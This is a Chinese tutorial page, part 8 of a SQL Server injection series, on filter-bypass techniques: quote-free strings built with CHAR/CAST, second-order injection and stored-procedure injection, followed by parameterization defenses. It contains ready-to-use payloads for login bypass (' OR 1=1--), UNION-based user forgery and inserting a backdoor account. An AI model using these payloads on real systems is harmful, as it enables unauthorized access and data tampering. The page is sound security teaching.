首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊深度解析 (8/10):高階繞過技術 — 無符號字串構造、二次注入、存儲過程注入

     編輯:關於SqlServer

前置條件:應用已過濾單引號、限制長度

開發者常以為 `Replace("'", "''")` + 長度限制 = 安全。**錯誤**。

1. 無單引號字串構造 (CHAR/CAST/CONVERT)

SQL Server 允許用函數構造字串,完全不需單引號:


-- 構造 'chris' (ASCII 碼)
CHAR(0x63) + CHAR(0x68) + CHAR(0x72) + CHAR(0x69) + CHAR(0x73)
-- 等價於
CAST(0x6368726973 AS VARCHAR(20)) -- 十六進位直接轉
-- 或
CONVERT(VARCHAR(20), 0x6368726973)

-- 實戰插入 (無任何引號)
INSERT INTO Users (UserID, UserName, PassWord, Privs)
VALUES (666, 
        CHAR(0x63)+CHAR(0x68)+CHAR(0x72)+CHAR(0x69)+CHAR(0x73),  -- 'chris'
        CHAR(0x63)+CHAR(0x68)+CHAR(0x72)+CHAR(0x69)+CHAR(0x73),  -- 'chris'
        0xFFFF);

**數值型欄位更簡單**:SQL Server 隱式轉換數值 → VARCHAR,直接 `INSERT ... VALUES (667, 123, 123, 0xFFFF)` 即可寫入字串 `'123'`。

2. 二次注入 — 跨功能、跨時間的延遲炸彈

見第 9 篇詳細機制。核心:**資料庫讀出的資料若直接拼接 SQL,同樣會注入**。


-- 階段 1: 註冊存入 admin''-- (轉義後)
-- 階段 2: 修改密碼功能讀取 UserName 拼接
UPDATE Users SET Pass='new' WHERE User='admin''--'  -- 實際執行 WHERE User='admin'

**防禦**:參數化查詢**無例外**,含讀自資料庫的變數。

3. 存儲過程注入 — 參數化不等於安全

誤區:「用了存儲過程就安全」。**關鍵在於應用如何呼叫存儲過程**:

呼叫方式代碼範例是否安全原因
字串拼接 EXEC`cmd.CommandText = "EXEC GetUser '" + txtUser.Text + "'";`**不安全**拼接發生在應用層,參數未參數化傳遞
ADO Command + Parameters`cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.Add("@User", txtUser.Text);`**安全**參數經 TDS 協議以二進位傳遞,不經 SQL 解析器
存儲過程內部動態 SQL`CREATE PROC P @x VARCHAR(50) AS EXEC('SELECT * FROM T WHERE c=' + @x)`**不安全**存儲過程內部拼接動態 SQL,參數成為代碼一部分

驗證存儲過程注入


-- 直接在 SSMS 執行
EXEC sp_who '1'; SELECT * FROM sysobjects;  -- 批次分隔符 ; 或換行
EXEC sp_who '1' SELECT * FROM sysobjects;   -- 同樣執行

任何附加語句在存儲過程返回後仍會執行 (若應用層拼接)。

4. 綜合繞過實戰:登入繞過 + 竄改資料


-- 假設登入代碼: "SELECT * FROM Users WHERE User='" + u + "' AND Pass='" + p + "'"
-- 攻擊者輸入:
User: ' OR 1=1--           -- 繞過登入 (首筆用戶)
User: ' UNION SELECT 1, 'hacker', 'pass', 1--  -- 偽造用戶登入
User: '; INSERT INTO Users VALUES (999, 'hack', 'pass', 1)--  -- 註冊後門帳號

總結:高階繞過的共同本質

  • **資料與代碼未分離** — 核心成因。
  • **隱式轉換/函數構造** — 繞過字元過濾。
  • **二次注入** — 信任邊界劃分錯誤 (信任資料庫內容)。
  • **存儲過程誤用** — 以為封裝了就安全,實則看呼叫方式與內部實作。

**唯一解**:**全鏈路參數化查詢** + **最小權限資料庫帳號** + **嚴格輸入白名單** + **移除危險擴展預存程序**。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved